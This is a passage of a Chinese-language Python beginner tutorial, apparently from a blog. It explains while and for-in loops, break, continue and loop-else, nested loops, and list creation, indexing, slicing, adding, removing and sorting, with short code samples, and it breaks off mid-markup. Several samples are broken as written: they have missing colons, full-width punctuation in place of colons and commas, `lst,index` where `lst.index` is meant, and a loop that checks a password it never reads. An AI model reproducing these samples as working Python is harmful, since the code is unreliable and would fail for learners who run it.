循环结构</h2><p><strong>循环</strong>时反复作同一件事情的情况，用于次数不固定的循环，初始条件不成立，一次都不执行。</p><h3 id="1while循环"><a class="markdownIt-Anchor" href="#1while循环">#</a> （1）while 循环</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">a = <span class="number">1</span></span><br><span class="line"><span class="comment">#判断条件表达式</span></span><br><span class="line"><span class="keyword">if</span> a &lt; <span class="number">10</span>:     <span class="comment">#if改为while重新运行，结果是1 2 3 4 5 6 7 8 9</span></span><br><span class="line">  print(a)</span><br><span class="line">  a += <span class="number">1</span></span><br><span class="line"><span class="comment">#if与while的区别是：if判断一次，条件True执行一行；while是判断N+1次，条件是True执行N次</span></span><br></pre></td></tr></table></figure><p>四步循环法：</p><ul><li>初始化变量</li><li>条件判断</li><li>条件执行体（循环体）</li><li>改变变量<br>初始化的变量和条件判断的变量与改变的变量为同一个</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#计算0到4的累加和</span></span><br><span class="line"><span class="built_in">sum</span> = <span class="number">0</span>            <span class="comment">#用于存储累加和</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;初始化变量为0&#x27;&#x27;&#x27;</span></span><br><span class="line">a = <span class="number">0</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;条件判断&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">while</span> a &lt; <span class="number">5</span>:</span><br><span class="line">  <span class="string">&#x27;&#x27;&#x27;条件执行体（循环体）&#x27;&#x27;&#x27;</span></span><br><span class="line">  <span class="built_in">sum</span> += a</span><br><span class="line">  <span class="string">&#x27;&#x27;&#x27;改变变量&#x27;&#x27;&#x27;</span></span><br><span class="line">  a += <span class="number">1</span></span><br><span class="line">print(<span class="string">&#x27;和为&#x27;</span>,<span class="built_in">sum</span>)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;计算1到100之间的偶数和&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="built_in">sum</span> = <span class="number">0</span>   <span class="comment">#用于存储偶数和</span></span><br><span class="line">a = <span class="number">1</span>             <span class="comment">#初始化变量</span></span><br><span class="line"><span class="keyword">while</span> a &lt;= <span class="number">100</span>    <span class="comment">#条件判断</span></span><br><span class="line">  <span class="comment">#条件执行体（求和）</span></span><br><span class="line">  <span class="keyword">if</span> a%<span class="number">2</span> == <span class="number">0</span>:    <span class="comment"># if not bool(a%2):   意味着0的布尔值为False </span></span><br><span class="line">    <span class="built_in">sum</span> += a</span><br><span class="line">  a += <span class="number">1</span></span><br><span class="line">print(<span class="string">&#x27;1到100的偶数和&#x27;</span>,<span class="built_in">sum</span>)</span><br></pre></td></tr></table></figure><h3 id="2for-in循环"><a class="markdownIt-Anchor" href="#2for-in循环">#</a> （2）for-in 循环</h3><p>语法结构为：for 自定义的变量 in 可迭代对象<br>循环体</p><ul><li>in 表示从（字符串、序列等）中依次取值，又称为遍历</li><li>for-in 遍历的对象必须是可迭代对象</li><li>循环体内不需要访问自定义变量，可以将自定义变量替代为下划线</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> item <span class="keyword">in</span> <span class="string">&#x27;Python&#x27;</span>  <span class="comment">#第一次取出来的是P，赋值给item，输出</span></span><br><span class="line">  print(item)</span><br><span class="line">  </span><br><span class="line"><span class="comment">#range()产生一个整数序列，也是一个可迭代对象</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10</span>)</span><br><span class="line">  print(i)</span><br><span class="line">  </span><br><span class="line"><span class="comment">#如果在循环体中不需要使用自定义变量，可将自定义变量写为_</span></span><br><span class="line"><span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">5</span>)</span><br><span class="line">  print(<span class="string">&#x27;人生苦短，我用Python&#x27;</span>)</span><br><span class="line">  </span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;使用for循环计算1到100之间的偶数和&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="built_in">sum</span> = <span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> item <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">101</span>):</span><br><span class="line">  <span class="keyword">if</span> item % <span class="number">2</span> == <span class="number">0</span>:</span><br><span class="line">    <span class="built_in">sum</span> += item</span><br><span class="line">print(<span class="string">&#x27;1到100之间的偶数和为：&#x27;</span>,<span class="built_in">sum</span>)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;输出100到999之间的水仙花数</span></span><br><span class="line"><span class="string">  举例 153 =3*3*3+5*5*5</span></span><br><span class="line"><span class="string">  1*1*1&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">for</span> item <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">100</span>,<span class="number">1000</span>):</span><br><span class="line">  ge = item %<span class="number">10</span></span><br><span class="line">  shi = item // <span class="number">10</span> % <span class="number">10</span></span><br><span class="line">  bai = item // <span class="number">100</span></span><br><span class="line">  print(bai,shi,ge)</span><br><span class="line">  <span class="keyword">if</span> ge**<span class="number">3</span>+shi**<span class="number">3</span>+bai**<span class="number">3</span> == item:</span><br><span class="line">    print(item)</span><br></pre></td></tr></table></figure><h3 id="3break-continue与else语句"><a class="markdownIt-Anchor" href="#3break-continue与else语句">#</a> （3）break、continue 与 else 语句</h3><p><strong>break 语句</strong>用于结束循环结构，通常与分支结构 if 一起使用</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;从键盘录入密码，最多录入三次，如果正确就结束循环&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">for</span> item <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>):</span><br><span class="line">  pwd = <span class="built_in">input</span>(<span class="string">&#x27;请输入四位数密码：&#x27;</span>)</span><br><span class="line">  <span class="keyword">if</span> pwd == <span class="string">&#x27;8888&#x27;</span>；</span><br><span class="line">    print(<span class="string">&#x27;密码正确&#x27;</span>)</span><br><span class="line">    <span class="keyword">break</span></span><br><span class="line">  <span class="keyword">else</span>:</span><br><span class="line">    print(<span class="string">&#x27;密码不正确&#x27;</span>)  </span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">a = <span class="number">0</span></span><br><span class="line"><span class="keyword">while</span> a &lt; <span class="number">3</span>:</span><br><span class="line">  pwd = <span class="built_in">input</span>(<span class="string">&#x27;请输入四位数密码：&#x27;</span>)   <span class="comment">#条件执行体</span></span><br><span class="line">  <span class="keyword">if</span> pwd == <span class="string">&#x27;8888&#x27;</span>:</span><br><span class="line">    print(<span class="string">&#x27;密码正确&#x27;</span>)</span><br><span class="line">    <span class="keyword">break</span></span><br><span class="line">  <span class="keyword">else</span>:</span><br><span class="line">    print(<span class="string">&#x27;密码不正确&#x27;</span>)</span><br><span class="line">  a += <span class="number">1</span>                           <span class="comment">#改变变量</span></span><br></pre></td></tr></table></figure><p><strong>continue 语句</strong>用于结束当前循环，进入下一次循环，通常与分支结构中的 if 一起使用</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;要求输出1到50之间所有5的倍数：和5的余数为0的数</span></span><br><span class="line"><span class="string">  什么样的数不是5的倍数？与5的余数不是0的数&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">for</span> item <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">51</span>):</span><br><span class="line">  <span class="keyword">if</span> item % <span class="number">5</span> == <span class="number">0</span>:</span><br><span class="line">    print(item)</span><br><span class="line">print(<span class="string">&#x27;----------使用continue----------&#x27;</span>)</span><br><span class="line"><span class="keyword">for</span> item <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">51</span>):</span><br><span class="line">  <span class="keyword">if</span> item % <span class="number">5</span> != <span class="number">0</span>:</span><br><span class="line">    <span class="keyword">continue</span></span><br><span class="line">  print(item)</span><br></pre></td></tr></table></figure><p><strong>else 语句</strong>与其他语句配合使用。<br>与 if 配合使用，if 条件表达式不成立时执行 else；与 for 和 while 配合使用时，没有碰到 break 时执行 else。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> item <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>):</span><br><span class="line">  pwd = <span class="built_in">input</span>(<span class="string">&#x27;请输入密码：&#x27;</span>)</span><br><span class="line">  <span class="keyword">if</span> pwd == <span class="string">&#x27;8888&#x27;</span>:</span><br><span class="line">    print(<span class="string">&#x27;密码正确&#x27;</span>)</span><br><span class="line">    <span class="keyword">break</span></span><br><span class="line">  <span class="keyword">else</span>:</span><br><span class="line">    print(<span class="string">&#x27;密码不正确&#x27;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">  print(<span class="string">&#x27;对不起，三次密码均输入错误。&#x27;</span>)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">a = <span class="number">0</span> </span><br><span class="line"><span class="keyword">while</span> a &lt; <span class="number">3</span>；</span><br><span class="line">  <span class="keyword">if</span> pwd == <span class="string">&#x27;8888&#x27;</span>:</span><br><span class="line">    print(<span class="string">&#x27;密码正确&#x27;</span>)</span><br><span class="line">    <span class="keyword">break</span></span><br><span class="line">  <span class="keyword">else</span>:</span><br><span class="line">    print(<span class="string">&#x27;密码不正确&#x27;</span>)</span><br><span class="line">  <span class="string">&#x27;&#x27;&#x27;改变变量&#x27;&#x27;&#x27;</span></span><br><span class="line">  a += <span class="number">1</span></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">  print(<span class="string">&#x27;对不起，三次密码均输入错误&#x27;</span>)</span><br></pre></td></tr></table></figure><h2 id="3-嵌套循环"><a class="markdownIt-Anchor" href="#3-嵌套循环">#</a> 3. 嵌套循环</h2><p><strong>嵌套循环</strong>时循环结构中又嵌套了另外的完整的循环结构，其中内层循环作为外层循环的循环体执行。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;输出一个三行四列的矩形&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">4</span>):       <span class="comment">#行表，执行三次，一次是一行</span></span><br><span class="line">  <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">5</span>)；  </span><br><span class="line">    print(<span class="string">&#x27;*&#x27;</span>,end = <span class="string">&#x27;\t&#x27;</span>)  <span class="comment">#不执行输出</span></span><br><span class="line">  print()                  <span class="comment">#打行</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;九九乘法表&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10</span>):</span><br><span class="line">  <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,i+<span class="number">1</span>):</span><br><span class="line">    print(i,<span class="string">&#x27;*&#x27;</span>,j,<span class="string">&#x27;=&#x27;</span>,i*j,end = <span class="string">&#x27;\t&#x27;</span>)</span><br><span class="line">  print()</span><br></pre></td></tr></table></figure><p><strong>二重循环中的 break 和 continue 用于控制本层循环。</strong><br><img src="../PythonProjects/Typora_image/30103d82496e45068a9c2b6347526c65.png" alt="二重循环"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;流程控制语句break与continue在二重循环中的使用&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">5</span>):     <span class="comment">#外层循环执行5次</span></span><br><span class="line">  <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>，<span class="number">11</span>):</span><br><span class="line">    <span class="keyword">if</span> j%<span class="number">2</span> == <span class="number">0</span>:</span><br><span class="line">      <span class="keyword">break</span></span><br><span class="line">      <span class="comment">#continue</span></span><br><span class="line">    print(j)</span><br><span class="line">    <span class="comment">#print(j,end = &#x27;\t&#x27;)</span></span><br><span class="line">  <span class="comment">#print()</span></span><br></pre></td></tr></table></figure><h1 id="七-一字排开"><a class="markdownIt-Anchor" href="#七-一字排开">#</a> 七、一字排开</h1><p>为什么需要列表？</p><ul><li>变量可以存储一个元素，而列表是一个 “大容器” 可以存储 N 多个元素，程序可以方便地对这些数据进行整体操作</li><li>列表相当于其它语言中地数组</li><li>列表示意图<br><img src="https://static01.imgkr.com/temp/7fb49d3b2d7a4405b2870675f2daa035.png" alt="列表"></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">a = <span class="number">10</span>           <span class="comment">#变量存储地是一个对象的引用</span></span><br><span class="line">lst = [<span class="string">&#x27;hello&#x27;</span>,<span class="string">&#x27;world&#x27;</span>,<span class="number">98</span>]</span><br><span class="line">print(<span class="built_in">id</span>(lst))</span><br><span class="line">print(<span class="built_in">type</span>(lst))</span><br><span class="line">print(lst)</span><br></pre></td></tr></table></figure><h2 id="1-列表的创建与删除"><a class="markdownIt-Anchor" href="#1-列表的创建与删除">#</a> 1. 列表的创建与删除</h2><p>创建方式：1. 使用中括号；2. 调用内置函数 list ()</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">lst = [<span class="string">&#x27;hello&#x27;</span>,<span class="string">&#x27;world&#x27;</span>,<span class="number">98</span>]         <span class="comment">#使用中括号创建列表</span></span><br><span class="line">print(lst)</span><br><span class="line">lst2 = <span class="built_in">list</span>([<span class="string">&#x27;hello&#x27;</span>,<span class="string">&#x27;world&#x27;</span>,<span class="number">97</span>])  <span class="comment">#使用内置函数list()创建列表</span></span><br></pre></td></tr></table></figure><p>列表的特点：</p><ul><li>列表元素按顺序有序排序</li><li>索引映射唯一数据</li><li>列表可以存储重复数据</li><li>任意数据类型混存</li><li>根据需要动态分配和回收内存</li></ul><h2 id="2-列表的查询操作"><a class="markdownIt-Anchor" href="#2-列表的查询操作">#</a> 2. 列表的查询操作</h2><ul><li>获取列表中指定元素的索引</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">lst = [<span class="string">&#x27;hello&#x27;</span>,<span class="string">&#x27;world&#x27;</span>,<span class="number">98</span>,<span class="string">&#x27;hello&#x27;</span>]</span><br><span class="line">print(lst,index(<span class="string">&#x27;hello&#x27;</span>))    <span class="comment">#列表存在多个相同元素，只返回列表第一个索引</span></span><br><span class="line"><span class="comment">#print(lst,index(&#x27;Python&#x27;))   #查询元素不存在ValueError:&#x27;Python&#x27; is not in list</span></span><br><span class="line"><span class="comment">#print(lst,index(&#x27;hello&#x27;,1,3)) ValueError</span></span><br><span class="line">print(lst,index(<span class="string">&#x27;hello&#x27;</span>,<span class="number">1</span>,<span class="number">4</span>))  <span class="comment">#指定在start到stop之间进行查找</span></span><br></pre></td></tr></table></figure><ul><li>获取列表中的单个元素</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">lst = [<span class="string">&#x27;hello&#x27;</span>,<span class="string">&#x27;world&#x27;</span>,<span class="number">98</span>,<span class="string">&#x27;hello&#x27;</span>,<span class="string">&#x27;world&#x27;</span>,<span class="number">234</span>]</span><br><span class="line">print(lst[<span class="number">2</span>])   <span class="comment">#获取索引为2的元素</span></span><br><span class="line">print(lst[-<span class="number">3</span>])  <span class="comment">#获取索引为-3的元素</span></span><br><span class="line"><span class="comment">#print(lst[10]) #IndexError:list index out of range超出索引范围，真想从0到N-1，逆向从-N到-1</span></span><br></pre></td></tr></table></figure><ul><li>获取列表中的多个元素：列表名 [start:stop:step]</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">lst = [<span class="number">10</span>,<span class="number">20</span>,<span class="number">30</span>,<span class="number">40</span>,<span class="number">50</span>,<span class="number">60</span>,<span class="number">70</span>,<span class="number">80</span>]</span><br><span class="line">print(lst[<span class="number">1</span>:<span class="number">6</span>:<span class="number">1</span>])    <span class="comment">#start=1 stop=6 step=1切片切出一个新列表</span></span><br><span class="line">print(<span class="string">&#x27;原列表&#x27;</span>，<span class="built_in">id</span>(lst))</span><br><span class="line">lst2 = lst[<span class="number">1</span>:<span class="number">6</span>:<span class="number">1</span>]</span><br><span class="line">print(<span class="string">&#x27;切的片段:&#x27;</span>,<span class="built_in">id</span>(lst2))</span><br><span class="line">print(lst[<span class="number">1</span>:<span class="number">6</span>])</span><br><span class="line">print(lst[<span class="number">1</span>:<span class="number">6</span>:])    <span class="comment">#step不写默认从1开始</span></span><br><span class="line">print(lst[<span class="number">1</span>:<span class="number">6</span>:<span class="number">2</span>])</span><br><span class="line">print(lst[:<span class="number">6</span>:<span class="number">2</span>])    <span class="comment">#start不写默认从0开始</span></span><br><span class="line">print(lst[<span class="number">1</span>::<span class="number">2</span>])    <span class="comment">#stop不写默认最后一个元素</span></span><br><span class="line">print(<span class="string">&#x27;--------------step为负数的情况-------------&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;原列表：&#x27;</span>,lst)</span><br><span class="line">print(lst[::-<span class="number">1</span>])</span><br><span class="line">print(lst[<span class="number">7</span>::-<span class="number">1</span>])</span><br><span class="line">print(lst[<span class="number">6</span>:<span class="number">0</span>:-<span class="number">2</span>])</span><br></pre></td></tr></table></figure><ul><li>判断指定元素在列表中是否存在</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">print(<span class="string">&#x27;p&#x27;</span> <span class="keyword">in</span> <span class="string">&#x27;python&#x27;</span>) </span><br><span class="line">print(<span class="string">&#x27;k&#x27;</span> <span class="keyword">not</span> <span class="keyword">in</span> <span class="string">&#x27;python&#x27;</span>)</span><br><span class="line">lst = [<span class="number">10</span>,<span class="number">20</span>,<span class="string">&#x27;python&#x27;</span>,<span class="string">&#x27;hello&#x27;</span>]</span><br><span class="line">print(<span class="number">10</span> <span class="keyword">in</span> lst)</span><br><span class="line">print(<span class="number">100</span> <span class="keyword">in</span> lst)</span><br><span class="line">print(<span class="number">10</span> <span class="keyword">not</span> <span class="keyword">in</span> lst)</span><br><span class="line">print(<span class="number">100</span> <span class="keyword">not</span> <span class="keyword">in</span> lst)</span><br></pre></td></tr></table></figure><ul><li>列表元素的遍历<br>可迭代对象：字符串和列表</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">lst = [<span class="number">10</span>,<span class="number">20</span>,<span class="string">&#x27;python&#x27;</span>,<span class="string">&#x27;hello&#x27;</span>]</span><br><span class="line"><span class="keyword">for</span> item <span class="keyword">in</span> lst:</span><br><span class="line">  print(item)</span><br></pre></td></tr></table></figure><h2 id="3-列表元素的增-删-改操作"><a class="markdownIt-Anchor" href="#3-列表元素的增-删-改操作">#</a> 3. 列表元素的增、删、改操作</h2><h3 id="1列表元素的增加操作"><a class="markdownIt-Anchor" href="#1列表元素的增加操作">#</a> （1）列表元素的增加操作</h3><ul><li>append ()：在列表的末尾添加一个元素</li><li>extend ()：在列表的末尾至少添加一个元素</li><li>insert ()：在列表的任意位置添加一个元素</li><li>切片：在列表的任意位置添加至少一个元素</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#向列表的末尾添加一个元素</span></span><br><span class="line">lst = [<span class="number">10</span>,<span class="number">20</span>,<span class="number">30</span>]</span><br><span class="line">print(<span class="string">&#x27;添加元素之前&#x27;</span>，lst)</span><br><span class="line">lst.append(<span class="number">100</span>)</span><br><span class="line">print(<span class="string">&#x27;添加元素之后&#x27;</span>,lst,<span class="built_in">id</span>(lst))</span><br><span class="line">lst2 = [<span class="string">&#x27;hello&#x27;</span>,<span class="string">&#x27;world&#x27;</span>]</span><br><span class="line">lst.append(lst2)        <span class="comment">#将lst2作为一个元素添加到列表的末尾</span></span><br><span class="line">print(lst)</span><br><span class="line">lst.extend(lst2)        <span class="comment">#向列表的末尾一次性添加多个元素  </span></span><br><span class="line">print(lst)</span><br><span class="line">lst.insert(<span class="number">1</span>,<span class="number">90</span>)        <span class="comment">#在任意位置添加一个元素</span></span><br><span class="line">print(lst)</span><br><span class="line">lst3 = [<span class="literal">True</span>,<span class="literal">False</span>,<span class="string">&#x27;hello&#x27;</span>]</span><br><span class="line">lst[<span class="number">1</span>:] = lst3          <span class="comment">#切片替换</span></span><br><span class="line">print(lst)</span><br></pre></td></tr></table></figure><h3 id="2列表的删除操作"><a class="markdownIt-Anchor" href="#2列表的删除操作">#</a> （2）列表的删除操作</h3><ul><li>remove ()：一次删除一个元素；重复元素只删除第一个；元素不存在抛出 ValueError</li><li>pop ()：删除一个指定索引位置上的元素；指定索引不存在抛出 IndexError；不指定索引，删除列表最后一个元素</li><li>切片：一次至少删除一个元素</li><li>clear ()：清空列表</li><li>del ()：删除列表</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">lst = [<span class="number">10</span>,<span class="number">20</span>,<span class="number">30</span>,<span class="number">40</span>,<span class="number">50</span>,<span class="number">60</span>,<span class="number">30</span>]</span><br><span class="line">lst.remove(<span class="number">30</span>)          <span class="comment">#重复元素只删除第一个</span></span><br><span class="line">print(lst)</span><br><span class="line"><span class="comment">#lst.remove(100)         #移除元素不存在ValueError</span></span><br><span class="line"><span class="comment">#pop根据索引移除元素</span></span><br><span class="line">lst.pop(<span class="number">1</span>)</span><br><span class="line">print(lst)</span><br><span class="line"><span class="comment">#lst.pop(8)              #IndexError</span></span><br><span class="line">lst.pop()                <span class="comment">#默认删除最后一个元素</span></span><br><span class="line">print(lst)</span><br><span class="line">print(<span class="string">&#x27;-------切片操作删除至少一个元素，将产生一个新的列表对象-----------&#x27;</span>)</span><br><span class="line">new_lst = lst[<span class="number">1</span>:<span class="number">3</span>]</span><br><span class="line">print(<span class="string">&#x27;原列表&#x27;</span>,lst)</span><br><span class="line">print(<span class="string">&#x27;新列表&#x27;</span>,new_lst)</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;不产生新的列表对象，而是删除原列表的内容&#x27;&#x27;&#x27;</span></span><br><span class="line">lst[<span class="number">1</span>:<span class="number">3</span>] = []</span><br><span class="line">print(lst)</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;清除列表中的所有元素&#x27;&#x27;&#x27;</span></span><br><span class="line">lst.clear()</span><br><span class="line">print(lst)</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;del语句将列表对象删除&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">del</span> lst</span><br></pre></td></tr></table></figure><h3 id="3列表元素的修改操作"><a class="markdownIt-Anchor" href="#3列表元素的修改操作">#</a> （3）列表元素的修改操作</h3><ul><li>为指定索引的元素赋予一个新值</li><li>为指定的切片赋予一个新值</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">lst = [<span class="number">10</span>,<span class="number">20</span>,<span class="number">30</span>,<span class="number">40</span>]</span><br><span class="line"><span class="comment">#一次修改一个值</span></span><br><span class="line">lst[<span class="number">2</span>] = <span class="number">100</span>      </span><br><span class="line">print(lst)</span><br><span class="line">lst[<span class="number">1</span>:<span class="number">3</span>] = [<span class="number">300</span>,<span class="number">400</span>,<span class="number">500</span>,<span class="number">600</span>]</span><br><span class="line">print(lst)</span><br></pre></td></tr></table></figure><h2 id="4-列表元素的排序"><a class="markdownIt-Anchor" href="#4-列表元素的排序">#</a> 4. 列表元素的排序</h2><ul><li>调用 sort () 方法，列表中的所有元素默认按照从小到大的顺序进行排序，可以指定 reverse=True 进行降序排序</li><li>调用内置函数 sorted ()，可以指定 reverse=True 进行降序排序，原列表不发生改变</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">lst = [<span class="number">20</span>,<span class="number">40</span>,<span class="number">10</span>,<span class="number">98</span>,<span class="number">54</span>]</span><br><span class="line">print(<span 